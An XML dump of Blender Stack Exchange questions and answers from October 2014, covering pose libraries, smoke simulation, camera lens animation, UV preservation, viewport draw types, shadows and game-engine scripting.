  <row Id="17999" PostTypeId="2" ParentId="17994" CreationDate="2014-10-20T19:37:22.377" Score="1" Body="&lt;p&gt;With your armature selected look in the properties panel at the object data tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing you see at the top of the tab is your Pose Library pannel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a library and add your pose to it.&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Rigging/Posing/Pose_Library&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Rigging/Posing/Pose_Library&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;save your blend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in your new blend, you can append the pose library (from the Actions folder). &#xA;You can then add the poses via the Action Editor&lt;/p&gt;&#xA;" OwnerUserId="5595" LastActivityDate="2014-10-20T19:37:22.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18000" PostTypeId="2" ParentId="17989" CreationDate="2014-10-20T19:46:07.403" Score="4" Body="&lt;p&gt;Try increasing the smoke cache length in &lt;em&gt;Properties &gt; &#xA;Physics &gt; Smoke cache&lt;/em&gt; with the domain object selected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8gZxY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you will have to free any existing bakes before you can edit that value.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-20T19:46:07.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18001" PostTypeId="2" ParentId="17997" CreationDate="2014-10-20T19:50:39.873" Score="4" Body="&lt;p&gt;It is possible!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you need to select your Camera, then go to the &lt;em&gt;Properties&lt;/em&gt; panel, and under the &lt;em&gt;Camera&lt;/em&gt; tab, &lt;em&gt;Lens&lt;/em&gt; subsection, you can choose your lens type;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aOyFS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, a perhaps little know feature, is you can animate almost everything, so just press &lt;kbd&gt;I&lt;/kbd&gt; or right click it (&lt;kbd&gt;RMB &lt;img src=&quot;https://i.stack.imgur.com/2j3vL.png&quot; alt=&quot;RMB&quot;&gt;&lt;/kbd&gt;) and select &lt;em&gt;Insert Keyframe&lt;/em&gt;. Make sure the lens type you want to transit from is selected, that the current frame is one before when you want your transition to happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nyp3X.jpg&quot; alt=&quot;Animate&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just select the other one move to the next frame and repeat the process for the &lt;em&gt;Orthographic&lt;/em&gt; lens.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-10-20T19:56:05.923" LastActivityDate="2014-10-20T19:56:05.923" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="18002" PostTypeId="2" ParentId="14728" CreationDate="2014-10-20T20:29:56.327" Score="9" Body="&lt;p&gt;You can find out (part of) the context you are in by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cont = bpy.context.area.type&#xA;print(str(cont))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This in itself will help you determine where you are (contextually speaking).&#xA;Determining where you need to be is another story.  Each operation that you&#xA;do in Blender requires that you be in the correct context.  The way I think&#xA;of context is, what window (context) does  the operation occur in when you &#xA;do the action by clicking with the mouse?  You also may need to refer to the API&#xA;or other info, but one thing I found to help is knowing what contexts exist!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And easy way to find that out is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.area.type = '?'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This throws a useful error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;TypeError: bpy_struct: item.attr = val: enum &quot;?&quot; not found in ('VIEW_3D', 'TIMELINE', 'GRAPH_EDITOR', 'DOPESHEET_EDITOR', 'NLA_EDITOR', 'IMAGE_EDITOR', 'SEQUENCE_EDITOR', 'CLIP_EDITOR', 'TEXT_EDITOR', 'NODE_EDITOR', 'LOGIC_EDITOR', 'PROPERTIES', 'OUTLINER', 'USER)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well, there are your context types . . .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if that has successfully answered your question, because I do not write&#xA;plugins, yet, but it might has something that helps get you past the current issue in it.&lt;/p&gt;&#xA;" OwnerUserId="7586" LastEditorUserId="1363" LastEditDate="2014-10-20T21:02:41.680" LastActivityDate="2014-10-20T21:02:41.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18003" PostTypeId="1" AcceptedAnswerId="18011" CreationDate="2014-10-20T20:41:45.267" Score="7" ViewCount="3338" Body="&lt;p&gt;I'm working with a bunch of tools that each have separate coordinate systems and I'm having some confusion about Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, add a Monkey to a scene and then examine the Quad view. You should see something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Yz9n.png&quot; alt=&quot;Money Quad View&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The &lt;strong&gt;Top&lt;/strong&gt; view looks at the object from +z pointing to -z and sees the top of the object&lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;Front&lt;/strong&gt; view looks at the object from &lt;strong&gt;-y&lt;/strong&gt; pointing to &lt;strong&gt;+y&lt;/strong&gt; and sees the front of the object&lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;Right&lt;/strong&gt; view looks at the object from +x pointing to -x and sees the &lt;strong&gt;left&lt;/strong&gt; of the object&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In my mind, either the Right view should be relabeled Left &lt;strong&gt;OR&lt;/strong&gt; the model itself should be rotated 180 degrees about the Z axis and the Front view moved to by pointing in the -y direction from +y. In that case, all of the views would point from + to - along the axis (consistently), and the labels for the views would all correspond to intuition.&lt;/p&gt;&#xA;" OwnerUserId="4887" LastEditorUserId="4887" LastEditDate="2014-10-20T20:57:54.730" LastActivityDate="2017-06-24T13:04:05.937" Title="Blender's &quot;Right&quot; View is actually a &quot;Left&quot; view? &quot;Front&quot; view is actually &quot;Back&quot;?" Tags="&lt;3d-view&gt;&lt;camera&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18004" PostTypeId="1" CreationDate="2014-10-20T20:47:11.210" Score="1" ViewCount="2515" Body="&lt;p&gt;I'm trying to get a high, medium and low poly version of a mesh working in my game, using the same diffuse and normal map texture. However my models don't maintain their UV coordinates when using Decimate modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very new to Blender but I've created an Asteroid object using Subdivision surface plus Displace modifier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I apply these modifier once I get the shape I want and then use the sculpting tool to make a few modifications. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a rock texture which I set to a high X and Y repeat. It also has Coordinates set to Generated and Projection set to cube. When displaying in Rendered view it looks ok. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have a very high level source model with over 300,000 faces. In edit mode I select everything an do Smart UV Project. In the UV/Image editor I see the polys mapped to the texture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then use the Bake option to render out the high resolution diffuse map. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I duplicate the object and use the Decimate to reduce it down to 60,000 polys and Bake a normal map using the 300,000 poly version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then duplicate it again and create 10,000 poly and 500 poly versions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However then I create materials that use the baked diffuse and normal maps they don't map correctly any more. It seems Decimate doesn't keep the UV's. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how an I do this in Blender? I need to take a very high res model and create multiple levels of a mesh but use the same diffuse and normal map. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="7587" LastActivityDate="2014-10-20T20:47:11.210" Title="Maintaining UV's when downsampling a mesh" Tags="&lt;modifiers&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="18005" PostTypeId="1" AcceptedAnswerId="18006" CreationDate="2014-10-20T20:50:02.863" Score="2" ViewCount="2610" Body="&lt;p&gt;Everything shows up in render. (using blender 2.70a)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cmOxR.png&quot; alt=&quot;Render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in 3d view only the mesh shows, switching between wireframe &amp;amp; solid only shows wireframe (or the option we get to change with &quot;Z&quot; key)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with wireframe viewport toggled&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DY1VB.png&quot; alt=&quot;with wireframe&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with solid viewport toggled&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iUAqZ.png&quot; alt=&quot;with solid&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only changing &quot;maximum draw type&quot; to solid or textured shows white shading but not the orange color I gave in materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X7M4I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New cubes show shading though.&lt;/p&gt;&#xA;" OwnerUserId="7588" LastEditorUserId="7588" LastEditDate="2014-10-21T04:37:13.067" LastActivityDate="2015-05-23T22:10:59.290" Title="Can't see shading in 3d view" Tags="&lt;3d-view&gt;" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18006" PostTypeId="2" ParentId="18005" CreationDate="2014-10-20T20:59:59.637" Score="3" Body="&lt;p&gt;I guess you expected the solid or textured mode not to be rendered partially transparent, This is because you're in &lt;em&gt;Edit Mode&lt;/em&gt; and have toggled the &lt;em&gt;Limit selection to visible&lt;/em&gt; option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6XE57.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-10-20T20:59:59.637" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18007" PostTypeId="2" ParentId="17884" CreationDate="2014-10-20T21:03:16.800" Score="0" Body="&lt;p&gt;I could not find the cause of the problem, but simply replacing the material with a new one worked, even if all the settings are tha same as the previous material.&lt;/p&gt;&#xA;" OwnerUserId="7537" LastActivityDate="2014-10-20T21:03:16.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18009" PostTypeId="1" AcceptedAnswerId="18049" CreationDate="2014-10-20T21:59:05.583" Score="1" ViewCount="795" Body="&lt;p&gt;I know how to add an object from another layer into main scene, but how can I do it for a group of objects:&#xA;Here's my blend file&#xA;&lt;a href=&quot;https://www.dropbox.com/s/41o9arxmbohsva7/temp.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/41o9arxmbohsva7/temp.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying to do is that as soon as the cubes collide (controls are UP/DOWN/LEFT/RIGHT), I want the original cube to be removed(which already works) and replaced with the group of objects from layer 2 (brokenCube).&#xA;The brokenCube is created using cell fracture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum it up, I need to replace Object cube with group brokenCube on collision with player object &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here's the new blend where I was trying to implement the idea. It's slightly complicated, but the building should break when the dragon hits it. (Which it will, just don't press any keyboard buttons)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The endObject() seems to be working, but the added object's does not show up at the correct location and defaults to the player_location. (instead of using the collision calling object)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/2guepbfyq6h4tsm/dragon.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/2guepbfyq6h4tsm/dragon.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7591" LastEditorUserId="7591" LastEditDate="2014-10-24T08:21:03.217" LastActivityDate="2014-10-24T08:21:03.217" Title="Replace objects with a group of objects using Python" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18010" PostTypeId="1" AcceptedAnswerId="18013" CreationDate="2014-10-20T22:32:08.383" Score="4" ViewCount="705" Body="&lt;p&gt;I'd like to animate a scene where two different smoke emissions are in the same vicinity but are affected by different force fields. Can this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now both emitters are in the same smoke domain, in case that's important. &lt;/p&gt;&#xA;" OwnerUserId="7572" LastActivityDate="2014-10-20T22:58:06.203" Title="Can I make a smoke emission only be affected by a specific force field?" Tags="&lt;smoke-simulation&gt;&lt;force-fields&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18011" PostTypeId="2" ParentId="18003" CreationDate="2014-10-20T22:32:30.733" Score="6" Body="&lt;p&gt;What is the right side of a house? Or a bed? Or a keyboard or TV? Does the text in a book go from the left side to the right side, or from the right side to the left side?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if there's a clear agreement on what the front of an object is, what is considered the left or right side depends on the type of object, so there's no way to have a convention in Blender that always works. What we consider the left side or right side depends on how we humans typically interact with the object.&lt;/p&gt;&#xA;" OwnerUserId="242" LastEditorUserId="55" LastEditDate="2014-10-20T22:49:29.290" LastActivityDate="2014-10-20T22:49:29.290" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18012" PostTypeId="1" AcceptedAnswerId="18018" CreationDate="2014-10-20T22:39:15.243" Score="5" ViewCount="777" Body="&lt;p&gt;I'm learning the basics and while modeling a simple volcano using a point lamp for the magma I keep getting unnatural sharp shadows, even when disabling ray shadow. I don't think the problem is in the mesh (you can find the .blend file in the comments). Here are some examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ND9sR.png&quot; alt=&quot;Point lamp behind and above volcano&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case I put the lamp outside the crater. If I disable Ray Shadow here it gets better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/neVpK.png&quot; alt=&quot;Point lamp inside crater&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now placing the lamp inside the crater. Even when I disable Ray Shadow I keep getting those sharp transitions.&lt;/p&gt;&#xA;" OwnerUserId="7592" LastEditorUserId="7592" LastEditDate="2014-10-20T22:44:28.440" LastActivityDate="2014-10-21T01:38:17.557" Title="Unwanted sharp shadows when using a point lamp" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18013" PostTypeId="2" ParentId="18010" CreationDate="2014-10-20T22:58:06.203" Score="4" Body="&lt;p&gt;You can specify a group of force fields which can affect the domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CpEOE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So by putting each force field in a separate group (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;), you can have them influence some domains but not others:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j0L7N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-20T22:58:06.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18014" PostTypeId="1" AcceptedAnswerId="18019" CreationDate="2014-10-20T23:14:40.553" Score="1" ViewCount="3840" Body="&lt;p&gt;Okay so I know about half of how to do this.&#xA;So I made a plane, then converted it to a path with &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;C&lt;/kbd&gt;.&#xA;Then I made another plane and made many loop cuts with &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt; and the scroll wheel.&#xA;Then I used the curve modifier to make the non-curve plane follow the curve plane.&#xA;But it cuts corners:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qJl82.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorUserId="29" LastEditDate="2014-10-21T06:29:54.573" LastActivityDate="2014-10-21T06:29:54.573" Title="Object follow a square path?" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18015" PostTypeId="1" AcceptedAnswerId="18052" CreationDate="2014-10-21T00:24:18.373" Score="4" ViewCount="362" Body="&lt;p&gt;I'm not sure what would be a good way to edit a big video clip containing many distinct sequences. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before starting to put the final video together, I'd like to cut the individual sequences, give them a name, and put them in a place from where they will be easily accessible later. It would be great if my timeline could avoid being used as a 'storage' location, since I think it would clutter the view of the actual edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've done up until now :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Imported the video file, and made a meta-clip containing the audio and video clip.&lt;/li&gt;&#xA;&lt;li&gt;Made soft cuts at every sequence break, and given all meta-clips relevant names&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;One way I can think of to proceed would be to export all the meta-clips as individual videos, and then make a separate blender file to make the final video by importing the intermediate files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an automated way to do this, or is there a better solution?&lt;/p&gt;&#xA;" OwnerUserId="7594" LastActivityDate="2014-11-20T22:32:17.020" Title="NLE - Workflow for editing one big video clip containing many sequences" Tags="&lt;workflow&gt;&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18017" PostTypeId="2" ParentId="17997" CreationDate="2014-10-21T00:37:32.633" Score="14" Body="&lt;p&gt;To achieve a smooth transition from a Perspective camera to Ortho (and back), @someonewithpc's answer gets you part of the way there. However, that solution just jumps between Perspective and Ortho; the transition is not smooth. Use the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set a keyframe for your camera's location (&lt;kbd&gt;I&lt;/kbd&gt; -&gt; Location)&lt;/li&gt;&#xA;&lt;li&gt;In Camera Properties, set a keyframe for your camera object's Focal Length (it's in the Lens panel) by either &lt;kbd&gt;RMB&lt;/kbd&gt; the value and choosing Insert Keyframe or hovering your mouse over the value and pressing &lt;kbd&gt;I&lt;/kbd&gt;. (&lt;em&gt;Note: this assumes that your camera is in Perspective view to start.&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Move forward in time to where you intend to have your transition to Ortho complete.&lt;/li&gt;&#xA;&lt;li&gt;Increase the Focal Length to a very high value (The soft limit is 5000mm, but you can manually enter higher numbers. Typically, however, around 1000mm should be sufficient.) You should notice right now that everything feels zoomed in &lt;em&gt;very&lt;/em&gt; close. Don't worry about that just yet.&lt;/li&gt;&#xA;&lt;li&gt;Insert a keyframe for your new Focal Length (hover -&gt; &lt;kbd&gt;I&lt;/kbd&gt; or &lt;kbd&gt;RMB&lt;/kbd&gt; -&gt; Insert Keyframe).&lt;/li&gt;&#xA;&lt;li&gt;Grab (translate/move) your camera along its local Z-axis... you will need to move it very far. Try moving it by 100 units to start (&lt;kbd&gt;G&lt;/kbd&gt; -&gt; &lt;kbd&gt;Z&lt;/kbd&gt; -&gt; &lt;kbd&gt;100&lt;/kbd&gt; -&gt; &lt;kbd&gt;Enter&lt;/kbd&gt;). You will also probably need to adjust your camera's clip range... both the Start value (to remove artifacts) and the End Value (to ensure visibility). Keep grabbing your camera and moving it along it's local Z-axis until it looks very similar to the Orthographic camera (you can quickly switch between Perspective and Ortho in the Lens panel of Camera Properties to check).&lt;/li&gt;&#xA;&lt;li&gt;When you're happy that your perspective view closely matches the ortho view, insert a keyframe for your camera's location (&lt;kbd&gt;I&lt;/kbd&gt; -&gt; Location).&lt;/li&gt;&#xA;&lt;li&gt;Make sure your camera is set to Perspective view in the Lens panel of Camera Properties and insert a keyframe on the Perspective/Ortho/Panoramic buttons as described in @someonewithpc's answer (hover over buttons and press &lt;kbd&gt;I&lt;/kbd&gt; or &lt;kbd&gt;RMB&lt;/kbd&gt; -&gt; Insert Keyframe).&lt;/li&gt;&#xA;&lt;li&gt;Step forward &lt;em&gt;one&lt;/em&gt; frame &lt;kbd&gt;right arrow&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Change the camera view mode from Perspective to Ortho from the Lens panel of Camera Properties.&lt;/li&gt;&#xA;&lt;li&gt;Insert a keyframe for the camera's viewmode as described in #8 and @someonwithpc's post.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That should do it. This should get you a smooth transition from Perspective to Ortho. I know it looks like a lot of steps, but I was just overly thorough with my description. It's pretty easy to do.&lt;/p&gt;&#xA;" OwnerUserId="836" LastEditorUserId="836" LastEditDate="2015-12-23T18:28:24.673" LastActivityDate="2015-12-23T18:28:24.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18018" PostTypeId="2" ParentId="18012" CreationDate="2014-10-21T01:38:17.557" Score="8" Body="&lt;p&gt;You can also try changing the shadow's Soft Size to affect how sharp or blurred the shadows will be.  If you are using Blender Render(Internal), the samples for the shadows are right next to the soft size.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gTbTT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Cycles, the lamp size can be used to alter the softness of the shadows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UHgIB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-10-21T01:38:17.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18019" PostTypeId="2" ParentId="18014" CreationDate="2014-10-21T01:46:55.220" Score="6" Body="&lt;p&gt;It could be that you have to set the curve handles to to the Vector Type using the &lt;kbd&gt;v&lt;/kbd&gt; key to bring up the menu.  You can change the handle type individually or all at once depending on what is selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dP11l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am just guessing here since you did not upload a .blend file to PasteAll.org with the link pasted here.   &lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-10-21T01:46:55.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18020" PostTypeId="1" CreationDate="2014-10-21T04:54:51.040" Score="5" ViewCount="4627" Body="&lt;p&gt;The &lt;em&gt;Info&lt;/em&gt; view doesn't show every command (scripts) which I actioned.&#xA;Example open new file, reload file, import, export...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to show them?&lt;/p&gt;&#xA;" OwnerUserId="7597" LastEditorUserId="7597" LastEditDate="2014-10-21T09:31:16.667" LastActivityDate="2014-11-21T14:58:01.600" Title="Print all commands in the Info view?" Tags="&lt;scripting&gt;&lt;command-line&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18021" PostTypeId="2" ParentId="18005" CreationDate="2014-10-21T06:26:15.767" Score="1" Body="&lt;p&gt;By default the &lt;em&gt;Maximum draw type&lt;/em&gt; is set to &lt;em&gt;textured&lt;/em&gt;.&lt;br /&gt;&#xA;This is a per object setting, so new objects will have this set to textured.&lt;/p&gt;&#xA;&lt;p&gt;This setting defines the maximum draw type of  the object, in the order of&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Bounds&lt;/em&gt;. Draws the object's bounding box.&lt;/p&gt;&#xA;&lt;p&gt;With &lt;em&gt;maximum draw type&lt;/em&gt; set to &lt;em&gt;bounds&lt;/em&gt;, the object will only ever be drawn as a bounding box.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Wire&lt;/em&gt;. Draws the object's edges as a wireframe.&lt;/p&gt;&#xA;&lt;p&gt;With &lt;em&gt;maximum draw type&lt;/em&gt; set to &lt;em&gt;wireframe&lt;/em&gt;, the object will only ever be drawn as a bounding box or a wireframe.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Solid&lt;/em&gt;. Draws the object's faces as a surface.&lt;/p&gt;&#xA;&lt;p&gt;With &lt;em&gt;maximum draw type&lt;/em&gt; set to &lt;em&gt;bounds&lt;/em&gt;, the object will only ever be drawn as a bounding box, wireframe, or a solid surface.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Textured&lt;/em&gt;. No limit.&lt;/p&gt;&#xA;&lt;p&gt;With &lt;em&gt;maximum draw type&lt;/em&gt; set to &lt;em&gt;Textured&lt;/em&gt;, the object is allowed to be drawn in the viewoprt with shading, textures, etc.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Most of the time you want it on textured, but it's sometimes useful to e.g. keep a specific object drawn as a wireframe even while in solid view.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-10-21T06:26:15.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18023" PostTypeId="1" AcceptedAnswerId="18044" CreationDate="2014-10-21T07:11:17.543" Score="1" ViewCount="424" Body="&lt;p&gt;While creating actions I noticed that I sometimes forgot to keyframe the IK/FK sliders separately. Therefore I decided to create a custom keying-set. The question is can I copy the setup from say LocRot into my customized keying set or do I have add each location and rotation for all bone layers separately?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UFhkb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-10-22T06:41:27.010" LastActivityDate="2014-10-22T06:41:27.010" Title="How do I create a custom-keying set based on a built-in keying set?" Tags="&lt;animation&gt;&lt;rigify&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18024" PostTypeId="1" AcceptedAnswerId="18046" CreationDate="2014-10-21T07:25:23.883" Score="4" ViewCount="552" Body="&lt;p&gt;In the BGE, I'm trying to send a message from one scene to an overlay scene. The subject in the main scene's actuator matches the overlay scene's sensor. I've also made sure I'm sending the message to the right object (but also tried leaving it blank - sending to all objects - no luck).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The overlay scene doesn't seem to receive the the message at all. I genuinely do not have a clue of what's going on. I thought you could send messages between scenes. The overlay scene is inactive when sending this message btw. It's going to be an inventory screen that's only visible when player presses &lt;kbd&gt;I&lt;/kbd&gt; (overlay scene).&lt;/p&gt;&#xA;" OwnerUserId="7600" LastEditorUserId="2217" LastEditDate="2014-10-22T15:32:27.150" LastActivityDate="2014-10-22T15:32:27.150" Title="Message actuator/sensor across scenes?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18026" PostTypeId="1" AcceptedAnswerId="18045" CreationDate="2014-10-21T11:29:07.003" Score="1" ViewCount="1530" Body="&lt;p&gt;I have 3 cameras in my game scene. When I press &lt;kbd&gt;P&lt;/kbd&gt;, I am using one camera. How can I use the other cameras? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like pressing &lt;kbd&gt;F1&lt;/kbd&gt; to switch to front view, almost like a racing car game's camera views, which have a lot of view options for the player. I don't mean split screen .&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="241" LastEditDate="2014-10-21T11:41:46.197" LastActivityDate="2014-10-21T20:04:19.913" Title="BGE Switching camera" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
